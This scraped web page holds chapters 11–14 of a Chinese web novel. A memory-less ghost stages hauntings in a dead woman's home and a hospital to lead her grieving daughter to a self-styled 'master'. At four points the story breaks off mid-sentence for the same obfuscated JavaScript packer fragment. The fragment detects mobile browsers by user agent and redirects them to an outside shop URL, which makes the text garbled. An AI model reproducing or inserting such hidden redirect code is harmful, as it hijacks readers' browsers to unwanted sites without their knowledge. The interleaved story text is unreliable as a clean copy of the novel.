现在这间屋子看起来很像周淑萍和丈夫在住着了。 孟清秋在心里给周淑萍女儿道了个歉,为浪费她家电费忏悔了一下,然后默念口诀,慢慢恢复了灵魂形态,在周淑萍家里等她女儿下班过来。 · 夜幕降临,客厅里只有电视机的灯光,卧室的门开着,漏出一点昏黄的光亮。 时针指向七点半,周淑萍家的老房子隔音不太好,孟清秋听到楼道里传来周淑萍女儿和女婿说话的声音。 “小物件都收的差不多了,周末我再过来看看还有什么大件要带走的,其他的就可以留在这里一起卖掉了。” “好,周末的时候我们再来彻底收拾一次。” 脚步声到了门口,“哗啦”一声钥匙被拿出来,有人将钥匙插进锁孔旋转,周淑萍的女儿还在说:“我这两天看了一下中介,有一家评价还不错的……” “咔哒”,门被打开,周淑萍女儿的声音戛然而止。 钥匙“砰”地掉在地上,随即被周淑萍的女婿捡起来,“怎么了这是?” 女儿后退一步把门掩上,“快,快报警,家里好像进贼了。” 警察来得很快,周淑萍的女儿女婿将门从外面反锁了蹲在家门口等着警察来。 孟清秋听到外面说话声:“警察你们可要小心一点,不知道那人走了没有,里面电视还开着呢,我看我爸妈卧室里也有灯,说不定他还藏在屋里呢!” 几个警察在外面商量了一阵,一个人拿着钥匙又开了门。 屋里除了电视机的声音什么都没有,孟清秋站在客厅一角看着他们小心翼翼进来,先在客厅转了一圈,连窗帘后面也看过了,又去厨房和卧室检查一通。 看着像队长的那位出来喊周淑萍女儿:“家里没人,你们进来看看有没有东西少了。” 周淑萍的女儿一脸担忧,一边说着:“这家里也没值钱的东西啊……怎么能进贼”,一边在屋子里转了一圈。 显然除了孟清秋搞出的动静外,什么都没有。 当她看到床被铺好并且有人睡过的痕迹时更是吓了一跳:“这难不成不是图财?是有人没地方住了以为这房子空着所以进来了吗……” 队长向她确认了没东西丢失之后说:“也不排除这个可能。” “你刚刚说你们昨天走的时候还好好的?” 女儿说:“是啊,我每天晚上都来收拾东西开窗通风,走之前都会关好窗锁门的,您看,窗户还关着呢!” 警察已经在窗口检查过了,并没有被破坏的痕迹,窗外的墙上也没有脚印之类的东西,而且这边的墙上连管道都没有。 周淑萍家楼层不低,除非有人从楼上吊绳子下来,否则很难爬到这个高度。 去找物业查看监控的人也回来了,“物业那边没有发现异常,每天进出楼道的都是住在里面的业主,也没人在他们家门口停留过,而且他们夜里有安排保安巡逻,外面也没有发现可疑人物。” 这下算是进入死胡同了,队长也没遇到过这种“离奇事件”,怎么能有人大大咧咧进来当成自己家一样休息,结果一点痕迹都没留下的? 就像是……就像是有鬼在这里捣乱一样。 周淑萍女儿被自己这个猜测又吓得心里一慌,随即把这个想法抛之脑后。 开什么玩笑,难不成还能是她妈还魂回来了?这都什么年代了,还搞这些神神鬼鬼的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482498|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可是屋里实在是干净整洁,队长也发现不了什么,只好说:“会不会是你们自己昨天开了电视忘记关呢?厨房里的水可能是你们擦东西忘记放掉了……” 周淑萍的女儿说:“可是我们怎么会把床又铺好还睡在上面呢?” 她突然想到了什么,把手机打开给警察看:“这是我前两天拍的,还有照片呢,您看日期。” “我妈三天前走的,我处理完后事就想着这个房子也没人住了,就跟我老公商量着把房子出租了或者卖掉。” “然后我就过来先收拾了一下,还拍了照准备给中介问问价格,您看,”她指着照片,“照片里面床是空的。” “每天晚上我们收拾完都回家了,我女儿,还有我们家小区的监控都可以证明!” 这下真的解释不清了,队长只好找人提取了一通指纹鞋印拿回去比对,再三叮嘱他们注意安全后带人先撤了。 孟清秋目睹了全程,显然他们对不出个结果,她都死了,虽然可以有人的实体,但是依然留不下什么印记,闹鬼这事算是板上钉钉。 不过周淑萍的女儿这会儿只是起了点疑心,要想彻底让她察觉不对并去找周勤帮忙,还需要制造些别的动静。 · S市第一医院。 入夜,肿瘤科的走廊里静悄悄。 各病房都熄灯睡下了,护士也查完房回到了护士站,一个人玩着手机值着班,另一个人正在后面的躺椅上打盹,等着下半夜的交接。 走廊亮着白光,将深夜的医院衬托出恐怖的氛围。 孟清秋以灵魂形态大摇大摆路过护士站,又穿过走廊走到医生办公室。 之前在医院这边呆了很久,肿瘤科她也摸熟了,眼前这间是顾聿怀的办公室,今天他没值班,办公室里一片漆黑。 孟清秋在心里说了声抱歉,周淑萍走的时候她看到顾聿怀过来了,猜想他应该是周淑萍的主治医生,所以才选择了他的办公室“闹鬼”。 她原本的打算是在医院这边也留下一点“周淑萍”的东西,让这边的人以为是周淑萍的家属遗漏了什么,然后去联系周淑萍的女儿。 她女儿过来后看到这些“不应该出现”的东西,再联想到家里的怪事,自然会加重怀疑,然后在孟清秋的引导下去找周勤帮忙。 孟清秋在周淑萍住过的病房和医生办公室之间犹豫了一下,最终决定“放过”生病住院的人,去“祸害”一下顾聿怀。 顾聿怀的办公室很整洁,一进去除了办公桌,只有一个放文件的柜子。还摆了一个小沙发和两个凳子供病人使用。 孟清秋观察了一圈,没有看到摄像头,这个点已经查完房,走廊一时半会儿不会来人。 她放心地念了口诀,整个人慢慢显形站在了办公桌前。 这里算是公共区域,不像周淑萍家那样可以肆无忌惮,孟清秋猫着腰,打算先翻一下办公桌这边有什么东西。 她蹲在办公桌前,一抬眼,正对上顾聿怀摆在办公桌前的全家福。 孟清秋盯着照片右边笑得一脸幸福的女人,愣住了。 12. 第12章 孟清秋盯着照片里那张和她一模一样的脸,像被定住了一样蹲在办公桌前。 怪不得上次那个老太太说她和顾医生的妻子长得很像。 老太太没有记错,她们俩简直是共用一张脸。 难道她活着的时候真的是…… 孟清秋脑子里很乱,胡思乱想了一通却苦于没有任何记忆,只能猜测。 她想到从周勤家出来的那天撞上了顾聿怀,他当时好像是有话要说,孟清秋担心和活人交流会引出什么事端就匆匆跑掉了,最后也没有回头看他一眼。 不知道自己走掉后他是什么表情?难道他也觉得自己眼熟? 她之前一直很佛,毕竟没有记忆也没遇到什么熟悉的事物,她从未像现在一样迫切想知道自己生前的事情。 照片上的一家三口看起来那么幸福,念念那时候还很小,被妈妈抱在怀里,拿着一个小鸭子玩具试图用牙咬开。 妈妈一边笑一边伸手想要把鸭子拿开,而顾聿怀一手帮女人托住孩子,一手搂着女人的腰,淡淡地笑着,满眼温柔地看着女人。 照片将这一瞬间定格。 顾聿怀应该是很珍惜这张照片的,玻璃相框看起来一干二净,没有一点灰尘,应该是每天都被主人小心擦拭了。 他将照片摆在电脑旁边,工作的时候视线一偏就能看到。 也怪不得老太太来问诊的时候见过。 孟清秋突然觉得好累。她甚至不敢去拿起照片仔细分辨照片上女人的脸是不是和自己完全一样。 她用手撑着办公桌站起来瘫坐在椅子里缓了好一会儿,脑子里明明没想什么却仍像一团乱麻。 好像该想起些什么的,但是什么都想不出来。 孟清秋很讨厌这种感觉。感觉真相已经离自己很近了,但因为自己的原因又无法触及。 她像一个在黑暗中摸索着前行的迷路人,前方突然出现了一点微光,她想要朝那边走,但脚下突然伸出几条锁链将她留在原地,不论怎么挣脱都逃不掉,只好眼睁睁看着光点在远处闪烁。 寂静的夜里传来开门声,是隔壁病房的病人家属出来寻找护士。拖鞋在光滑的地板上踢踏着走远了,将孟清秋的思绪拉回了现实。 墙上的钟已经过了十二点,她都没发觉自己在这里坐了这么久。 但孟清秋不是会沉溺于自己捉摸不透的事情的人。既然自己现在想不起来也想不通,不如就静静等待。 做了这份工作之后也许是听奈奈念叨得多了,她也开始相信命运。 如果这次的遇见是命运的馈赠,那她就等待命运给她一个重来的机会。 她很快想通了,也就迅速调整好情绪,不再关注桌上那张洋溢着幸福的全家福,专心完成她自己的任务。 刚刚有人出去叫了护士进病房,孟清秋怕有人路过,又重新蹲了下来,先去翻了翻顾聿怀放文件的柜子。 里面只有一些书籍资料和学术类的文件。 办公桌的抽屉里也很整洁,放着几个文件夹还有笔,并没有什么和患者有关的东西。 护士在门口小声嘱咐了家属几句又回去了,家属把门轻轻带上,走廊里恢复了寂静。 孟清秋这才大胆站起身,活动了两下蹲得有点僵硬的腿,把办公室好好转了一圈。 除了电脑要密码她实在试不出来,其他的她都看过了—— 全是顾聿怀自己的文件和书,被他收拾得整整齐齐,别的什么都没有。 孟清秋本来准备把跟周淑萍有关的病例资料找出来放在顾聿怀桌上伪造成有人来看过的样子,然后让顾聿怀去联系周淑萍的女儿。 没办法,只能启用planB了。 孟清秋在心里跟肿瘤科的所有医护病患道了个歉。 · 过了十二点,值班的护士都有了困意。 守下半夜的已经在躺椅上打起了盹,这会儿值班的护士也喝着咖啡没精打采地乱划着手机提神。 整个走廊只有护士站这边亮着灯,一眼望过去远处寂静又昏暗,惨白的墙是恐怖片里最爱勾勒的场景。 小护士早就听前辈说了许多“医院怪谈”,虽然自己没遇到过,但宁可信其有,值夜班的时候她连视频都只敢看些轻松娱乐的。 突然。 “哒、哒、哒”。 空旷的走廊深处好像传来有节奏的敲击声。 小护士一下子惊醒了,把手机反扣在桌面上,屏住呼吸小心翼翼探出头望过去。 那声音消失了,一切安静得仿佛刚刚只是幻听。 小护士松了口气,在心里默念三遍“富强民主文明和谐”,又坐了回去刷着视频。 “哒、哒、哒”。 声音又响了起来,这次好像更清晰了一点。 小护士起了一身鸡皮疙瘩,胳膊往后一伸就把背后值班的同事晃了起来。 同事揉着眼睛,“到点了吗?” 小护士蹲了下来趴在她的躺椅边,用气声说道:“有……有鬼!” 同事也一下子清醒了:“你在说什么?什么鬼?” 小护士回头指着走廊:“就……就那边,刚刚有声音!” 同事也探着头看了一眼,又坐回去拍了拍她的肩膀:“什么都没有啊……没事啦,估计是有人起来上厕所,你这耳朵也太好了吧听这么清楚……” “哒、哒、哒”。 “哒、哒、哒”。 这次居然响了两遍,怕她们没听见似的。 两个人一下子闭上嘴,这次真的不能安慰自己是幻听了,她们俩都听到了声音,像是在某扇门后有人在有规律地敲着地板。 同事也开始冒冷汗:“这声音……怎么像办公室那边传来的……今天晚上那边没人值班啊……” “怎……怎么办?要不要去看看?” 坐在躺椅上的小护士抓住同伴的胳膊,“你傻啊!恐怖片里都是好奇心害死人的!咱俩就在这里哪也不去!这儿这么亮堂,不会有事的!” “再说了,万一……万一是天花板的管道发出的声音呢?咱们等天亮了立马喊保安来一起看看怎么回事!” “早上人就多了,我们就安全了!” 蹲在地上的小护士爬上躺椅跟她挤在一起,“对对,保安!我现在就来问问!” 她掏出手机给大门口值班的保安发了消息,说办公室这边有异响。 过了一会儿保安回复说刚刚看了监控,并没有人,肯定是哪里漏水了发出的声音,让她们不要担心白天会派人来查看。 这会儿确实也没声音了,两个人就这么挤在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482499|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起抱团取暖,不知道在她们看不见的虚空,孟清秋正从办公室出来,闪身进了一间病房。 那是周淑萍生前住过的那间。 · 早上六点,天色渐亮。 保安和来换班的同事交接完,想起夜里肿瘤科的护士给他发的消息,于是决定在回家前上去看一下,如果真是漏水就顺便帮她们报修一下。 护士这边还没到交接的时间,昨天晚上给他发消息的小姑娘还在护士站坐着。 两个人都没敢休息,一夜未睡,脸色看着很差,眼下一片青黑。 见保安上来,小护士连忙站起来,“王哥你可算来了!我俩晚上吓得都没敢睡觉!” 王哥自然是听过不少“医院怪谈”的,有时候跟医生护士闲聊也能听见不少离奇的事情,医院这地有点动静很正常,不过都没人受伤,因此看完监控发现不是小偷之后他也就只是尽量安抚了一下。 “昨天你们说的声音是从哪里传出来的啊?走,我陪你们去看看。” 小护士指了指医生办公室那边,“就那个方向。” 王哥打头,两个女孩跟在他身后往办公室走去,走到疑似发出声音的地方一抬头,“顾医生办公室?” 王哥敲了敲门,里面不出所料没有任何声音。 医生办公室每天走之后会有清洁人员过来打扫,还会有送水的人来换水,每天进进出出的人不少,因此算得上公共区域。所以王哥直接拧开了门把手,一把推开了办公室的门。 办公室一切正常,没有人进来过的痕迹。一眼望去东西都整整齐齐摆着,和昨天一模一样。 两个女孩都松了口气,从王哥背后站了出来,“昨天王哥说监控没看到人我还怕是有谁提早躲在里面呢……不过又想着医生办公室也没什么好偷的吧,果然应该是没人进来过。” 王哥摁亮了灯,又拿出手电筒,打算再把天花板好好检查一遍,看看是不是哪里漏水了。 两个女孩也往里走了几步,想转转看到底是什么东西发出的响声。 王哥用手电筒扫过天花板,“没有水渍啊……不是漏水,应该是你们听错了吧。” 那小护士却站在办公桌前招呼同伴:“小玲……小玲!你来看看,顾医生桌上的书和笔怎么没收进去啊。” 顾聿怀不是会乱扔东西的人,他的朋友宋哲医生每次找不到笔了都来他这里顺走两支,还经常被主任调侃让他学学顾医生别乱丢乱放。 而顾聿怀本人永远是把东西收得整整齐齐,下班后也会把桌上的东西一一整理好再离开。大家每次进进出出都有目共睹,因此也不是什么秘密。 而此时顾聿怀桌上摊着一本书,笔被随手放到一边,连盖子都没合上,小玲也奇怪:“也许是顾老师昨天下班走的时候太匆忙忘记了?估计他下班前正在看书呢,咱们还是不要乱动他的东西了。” 她推着同伴就要跟王哥一起出去,走廊那边病房的门打开了。一位患者家属看这边亮着灯寻了过来,“哎小玲医生,我正找你们呢,我刚刚去上厕所看洗手台上多了个东西,是不是你们来查房落在这里了啊?” “这么贵重的东西可要拿好啊,掉了得损失多少钱啊!” 小玲凑过去一看,家属摊开手心,一枚金色的戒指安静躺在他的手中。 13. 第13章 顾聿怀送完念念来上班,刚出电梯就看到走廊围了一堆人。 昨天晚上值夜班的两个小护士还没走,正跟主任还有楼下的保安围着一个家属不知道说些什么。 主任看到他过来连忙招手:“小顾!你来一下!” 顾聿怀走过去:“怎么了这是?” 主任手里捏着一枚金戒指,指着身后的病房:“在屋里洗手台上发现的,也不知道谁查房落下了,这俩丫头都说不是自己的,我正找人辨认呢,来你看看有没有见过。” 顾聿怀接过来仔细看,戒指的款式很简单,就是一个金色的素圈,没有什么花纹,他又抬头看了一眼病房的门牌号,忽然想起这间屋子之前住的是周淑萍。 周淑萍手上有一个戒指,是她丈夫很多年前买给她的。 之前看诊的时候周淑萍跟他聊天,说当年家里没什么钱,丈夫给她买的也是款式简单比较便宜的一个,但她珍惜地戴了这么多年。 平时她最喜欢靠在床头,用戴着戒指的手抚摸丈夫的相框。 顾聿怀记得她抬手给他看过,好像就是这样一个金色的圈。 但这也太扯了,周淑萍都走了好几天了,她家人也已经把病房收拾完了,怎么可能凭空冒出来一个戒指。 “您问过其他同事了吗?” 主任说:“老张的儿子说是今天早上起来发现的,昨天晚上他洗漱完擦过洗手台,根本就没有这戒指,肯定是后来进过病房的人留在这里的,但是昨天就这俩丫头值班,都说不是她们落的。” 他又想起些什么,跟家属保证一定物归原主后把人送回了病房,然后带着顾聿怀等人进了办公室。 顾聿怀看他有话要说的样子,“怎么了主任,还发生什么事情了?” 小玲两人站在一旁,主任指了她们俩一下,“刚老王偷偷跟我说这俩丫头昨天半夜给他发消息说是办公室这边有响声,他查了监控发现没人,担心是漏水下班就过来看了一下。” 顾聿怀问:“办公室?我的吗?” 小玲点点头:“对,就是顾老师的办公室……不过并不是漏水。对了顾老师,我们早上进来看了一下,倒是没什么异常,不过您的书和笔都在桌上,是您昨天走的时候没有收吗?” 顾聿怀皱眉:“我昨天没有拿书出来看过。” 他绕到办公桌后面,看到一本肿瘤学相关的书摊在桌上,不知道是不是故意为之,翻开的那一页恰好是周淑萍的病的相关论文。 还有打开的红笔,静静躺在右手的位置,像是有人一边看书一边做记号后随手放下的。 不过顾聿怀翻了一下,书上只有自己的笔记,并没有其他记号。 他又向老王确认了一遍:“监控真的没看到可疑人员吗?” 老王说:“真的,刚刚找失主的时候我让同事又看了一遍,没人进过你这办公室,昨天晚上也只有这俩值夜班的小姑娘和病人家属去过那病房。” 主任拍拍顾聿怀肩膀,让老王和护士先下班,“行了,戒指我这边再问问,不行就报警让警察那边处理,小顾啊你估计就是昨天翻开搞忘记了,你们都先回去休息吧,等会儿病人来了就要忙起来了。” 送走了他们三个,主任又折返回来,顾聿怀正看着翻开的那一页不知道想些什么,老头鬼鬼祟祟凑上来:“小顾,如果你真的确定不是你弄的话……这种情况只能加入咱们第一医院怪谈咯!” 顾聿怀把书合上笑了笑,“主任,这话您还单独留着吓我啊。” 小老头伸出一只手指摆了摆:“嘿,谁让人找的是你呢。” 他把戒指放在顾聿怀桌上:“既然如此戒指肯定也跟这有关,毕竟是同一晚发生的事情嘛,你辛苦一下帮忙找找失主哈。” 顾聿怀拿过戒指,“行,我可能真的知道这戒指是谁的。” 主任给他竖了个大拇指,“小顾,我就知道你靠谱!真是太让我省心了啊。” 主任走后顾聿怀拿出手机,在联系人里翻了一阵,拨通了标记着“周淑萍家属”的电话。 · 周淑萍的女儿昨天晚上没休息好。 从母亲家回来之后她就一直担心,丈夫让她不要多想,等明天警察的结果出来再说,如果还是放心不下就低价把房子出手了。 但是她还是忍不住想不会真的是母亲要到头七了,要回来了吧。 早上她送完孩子正要去公司,手机在兜里震动,她还以为是警察那边有了线索,拿出来一看却是母亲当时的主治医师。 她疑惑地接起电话,对面说了些什么,周淑萍的女儿怔在了原地。 · “不可能!妈一直把戒指戴在手上的,她走之后我们也没人摘下来过啊……我记得当时,当时我放进骨灰盒里了,怎么可能出现在这里!” 周淑萍的女儿接了电话后请了假匆匆赶去医院,那枚戒指就在顾聿怀的办公桌上躺着。 顾聿怀拖了张凳子过来请她坐下,“你仔细看看,这跟你母亲那枚是不是一样?” 尽管不相信,周淑萍的女儿还是拿起戒指认真端详了一番,语气渐渐变得迟疑起来:“这个确实很像……我妈妈的戒指也是这样一个简单的圈,没有什么花纹。” 顾聿怀犹豫了一下,还是告诉她:“虽然听起来很不可思议……我们这里昨天夜里发生了一些奇怪的事情,我的办公室里有人进来过,把我的专业书拿出来翻了几页,但是监控却显示没有任何人出入。” “而我来之后看了一下,书正好翻在你母亲的病的相关论文上。” “加上有人在你母亲住过的病房找到的这枚戒指,我才有了这个看起来很荒谬的猜测,所以给你打了电话。” 周淑萍女儿这会儿已经有些听不进去顾聿怀在说什么了,只死死盯着手里的戒指。 电话铃又响了起来,是昨天晚上来过的警察。 “您好,是结果出来了吗?” “您说什么……上面只有我们的指纹是吗?没有其他人了?” “好……好,我会锁好门关好窗的,麻烦你们了。” 顾聿怀去接了杯水放在她面前,回来的时候女儿已经挂断了电话。 看到水杯放在她手边的桌上她才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482500|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛然回神,“顾医生!昨天,昨天我们家也发生了怪事!” 她有些断断续续颠三倒四着讲了一通,顾聿怀耐心听完了,大概明白了是怎么回事,安慰道:“虽然很离奇,但是我们医院有时候也会遇到这种无法解释的情况,不管怎么说医院确实是阴气比较重的场合,因此大家平时也都会注意点。” “不过我们最多是碰上一些怪事,并没有人因此受到伤害,所以你不用太担心。” “科学解释不了的话,就当是阿姨太想念你们了回来看你们,或许是在屋子里没有找到你们她才来了医院。” 女儿昨天本来就有些胡思乱想,这会儿不管是医院还是母亲的房子都没找到有人出入的痕迹,除了母亲回来了她真的想不到别的理由。 也许真的是妈妈太想念她,想念之前一家三口幸福的日子了。 顿时对母亲的思念盖过了对怪事的恐惧,她仰头看着顾聿怀,冲他挤出一个笑:“打扰您了顾医生,也许真的……真的是吧,不然我真的没法解释了。” 她端起杯子喝了口水:“那我,我这就回家去,房子先不卖了,妈很喜欢那里,我回去好好整理一下,恢复妈住在那时的样子。” 她冲顾聿怀鞠了个躬告别,打开门匆匆走了。 今天阳光正好,照在身上将她刚刚的冷意都冲散了,女儿走到医院对面的公交站等车,车站的长椅上坐了一个长发白裙的漂亮女孩。 此时还没到夏天,街上穿裙子的人很少,因此她忍不住多看了两眼。 等公交的人多了起来,这趟车间隔时间有些长,她索性坐在了女孩身边低下头给丈夫发着消息。 “喂,妈,你上次给我找的大师好像还真有点东西。” “嗯,对,我让他去家里看了。” “是啊,我就说是我家里有人去世了,然后一直给我托梦,搞得我睡不好觉嘛,然后让他来看看是怎么回事。” 旁边的女孩小声打起了电话,因为挨得很近,所以清晰传到了她的耳朵里。 什么大师去世托梦的,听起来和她家情况好像,她悄悄竖起耳朵听女孩在说什么。 “当然好多了啊!妈,我这几天可算睡了个好觉了。大师说帮我沟通了一下,原来是之前老太太来我家玩,有个耳环掉我们家了,还挺贵的,所以老太太走的时候一直想着这事。” 耳环?她母亲也落了个戒指…… “大师当然帮我找到了,我昨天拿去她家给妹妹了,昨天晚上就没给我托梦了。” “你付款的时候记得多给大师包个红包啊!哎不说了我公交车来了,上班去了晚上再聊!” 女孩挂了电话,站起身跟着人群等待上车,女儿抬头看了一眼,是她等的车来了。 公交车倒是空空荡荡的,两个人上了车后又坐在了一起。 女孩低着头划着手机,神情轻快,和女儿脸上的凝重形成了鲜明对比。 大师、托梦、可以沟通…… 她终于忍不住用手碰了碰女孩的胳膊,“你好,我刚刚听到你在说什么大师什么托梦的……真的很灵吗?” 14. 第14章 孟清秋转过头看着她,这身打扮衬得她像二十出头的大学生,看起来单纯无害。 她说:“您是家里也出什么事了吗?我呀,最近老被一个去世的亲戚托梦,搞得我一直睡不好觉,就让我妈帮忙联系了S市一个很有名的大师!还真帮我解决好了呢。” 周淑萍的女儿说:“真的吗?他真能……真能跟去世的人沟通?他怎么帮你的啊?” 面前的女孩看着很天真,“哎呀我也不知道具体的啦,反正他就是摆了个什么阵嘛,然后好像是在那里自言自语了一会儿,之后就跟我说让我去找东西,我把东西还给她家人之后就真的没有被托梦了!” “这么神奇吗?这也太厉害了!”女儿被孟清秋唬得一愣一愣的。 孟清秋点点头:“真的啊,我昨天晚上睡得可好了!反正你就说是不是没事了吧!能解决问题就行,他们大师整的那些操作咱普通人也看不明白嘛。” 女儿仔细端详了一下女孩的脸,她并没有化妆,但是气色看起来还不错的样子。 女儿双手攥住裤子,揉出了几道褶皱,“那……小妹妹,你有大师的联系方式吗?我家也有人去世了,这两天好像回来找我了,如果大师真的能沟通的话……我也想试试。” “我这两天老遇到怪事呢……真的不知道该怎么办了,如果能交流一下我也知道怎么满足愿望啊。” 孟清秋点点头,一脸担忧:“哎哟那确实得找找大师了,你说我就只是托梦都搞得精神不好,姐姐你这肯定更难受啊!” 她很大方地掏出周勤借她的手机分享,“来来来,我有他的电话和住址!你看,就是这个,你记一下吧!大师人很好也很厉害的,肯定能帮你解决问题!” · 周淑萍的女儿对着手机备忘录上的地址找到了S市一中对面的豪华小区,此时正是中午下班的时候,进进出出的人很多,个个都行色匆匆,没有一个看着像是“大师”的。 她找出通讯录里孟清秋给她留下的电话拨了过去。 “嘟、嘟”。 电话响了两声被人接了起来,“喂,你好,请问是哪位?” 声音听起来很年轻,好像和刚刚那个女孩子差不多大的样子。 她有些迟疑地开口:“您好……我找周勤大师,请问是这个号码吗?” 对面听到“大师”两字似乎是轻声笑了一下,“是的,我就是周勤。” 名字对上了应该没什么问题吧。 女儿稍稍放下些心来,“请问您现在有时间吗?我在您家小区外面,有事想请您帮忙。” 周勤那边好像惊讶了一下,“已经在小区外面了吗?当然有时间的,您要不来我家慢慢说?” 女儿挂了电话正要进去,身后“滴滴”响起两声车喇叭音。她回头一看,是丈夫趁着午休赶了过来和她汇合。 她上午找孟清秋要完联系方式就跟丈夫说了一声,丈夫还是放心不下过来陪她一起:“走,我跟你一起去,免得是什么骗子。” 为他们开门的是一个看起来二十出头扎着小辫的男生,一开口倒是和刚刚电话里的声音重合了:“请进,刚刚就是您打的电话吧?” 周淑萍的女儿一边打量着屋里的摆设一边应道:“哎,是我。” 丈夫看着周勤客气了一句:“没想到大师这么年轻啊。” 周勤把餐厅的椅子拉出来让他们坐,神秘一笑:“哪有,其实我不小了,只不过干我们这行,总是会点东西保持一下容貌嘛……毕竟谁不想青春永驻呢。”他给了夫妻俩一个“你们懂的”的眼神,不说话了。 不过周勤的客厅倒是看着挺像个厉害的大师的。 窗帘被他拉上了,屋里开了盏昏黄的灯,没有白炽灯那么明亮,显得屋里有些阴森。 墙上挂了几幅毛笔字,写着什么“淡泊明志”之类的词,靠在墙边的一排柜子上摆满了桃木雕的剑和护身符,茶几上还放了一叠黄色符纸,其中一张被单独拿出来,上面画着他们看不懂的线条,被一块石头压着等待风干,一旁毛笔上的墨还在滴着水,估计是他们来之前周勤正在画符。 他俩跟着周勤坐在餐桌那边,周勤翘着二郎腿,“说吧,找我什么事?” 周淑萍的女儿把家里还有医院里这两天发生的怪事说了,“大师,您说这种情况……会是我妈回来了吗?是不是她在家没找到我们,又跑去医院了啊。” 周勤思考了一会儿,“有可能,这种死了之后太想念家人所以在头七之前回来的情况我见得也不少。” “你们家这种可能因为老房子是她执念最深的地方,而医院则是她去世之前呆的最久的地方,所以她优先选择这两个地方。不过看样子她一无所获,还丢了东西呢。” “那后面就说不准她会跑去哪里了,有可能是你们家,也有可能是你父亲的墓地。” 家里吗……周淑萍的女儿尽管再思念母亲,也想到家里还有一个在上学的孩子,虽然怪事不会对人造成伤害,但如果吓到孩子,也是得不偿失。 “那我母亲就只是因为思念我们所以想回来看看吗?这事情会不会有什么影响啊?” 周勤问:“你说的是什么影响?对你母亲的影响还是对你们的?” “如果是活人的话不用担心,她的能力最多也就是制造出一点动静。毕竟咱这是阳间,她现在只剩灵魂,属于阴界的人物,也掀不起什么水花,对你们没有伤害的。” 周淑萍的女儿向前探了探身子,胳膊趴在了桌上,“不,我不是这个意思。我妈妈怎么可能伤害我们……我想问,这对我母亲的灵魂有影响吗?您也说了她已经不在了,不是都说人死了就要去黄泉地府等待投胎吗?那我妈妈这算是……没有去成功吗?” 她越想越担心,“她不会投不了胎吧,那她就只能一直在阳间飘荡了吗?” 周勤说:“唔,也不能这么说吧,你母亲走了有七天吗?” 周淑萍的女儿立刻回答:“今天是第五天。” 周勤估摸了一下,“那就是还有两天,那应该没事,你知道头七吧,其实人死了之后前七天就是在人间徘徊的。” “毕竟每个人都有牵挂嘛,灵魂在人间游走也是正常的,不过一般其实不会跟活人有什么交集,大多都是自己飘了七天就飘去黄泉了。” “你母亲可能确实牵挂比较深,才做出了一些让你们能感应到的事情。” 周淑萍的女儿说:“那个,大师,我听说您能跟灵魂沟通?其实我今天来就是想问问,您能不能帮我问问我母亲,她还有什么执念?” “她走的时候病的挺重的了,也说不了太多话,我原本以为她看到我有了自己的家庭就没有别的执念了,只是我父亲走得早,成了她的遗憾。” “她去世之前也跟我说终于可以跟父亲团聚了,所以我在她走之后把她平时带着的和父亲有关的东西都一起埋了。” “但是妈妈现在又回来找我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482501|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们,我在想,她是不是还有什么事没完成,或者有什么话想对我说?” 周勤的指尖无意识地叩着桌子,“能倒是能,如果你决定好要这么做的话,就准备好一件逝者的遗物,另外还需要逝者亲属的血液作为媒介,在后天,也就是头七那天,灵魂最脆弱的时候,我会举行招魂仪式,到时候就能知道你母亲到底想干什么了。” 周淑萍的女儿和丈夫对视一眼,丈夫将手盖在她手背上握住了她的手,她仿佛从中汲取了一些力量,点了点头,“好……好,就这么办,后天我会带着东西来找您的。谢谢……太谢谢您愿意帮我们了。” 送走了周淑萍的女儿女婿,周勤刚关上门,书法的门“咔哒”一声开了,孟清秋从里面走了出来。 “可以啊你,这就让她相信了。” 周勤冲孟清秋比了个赞,“跟我关系可不大啊,还得是清秋你唬得好,就她来的时候那个浑浑噩噩的状态,我说什么她都得信啊。” 孟清秋摆手:“别,主意可都是你想的,我只是个工具人罢了。” 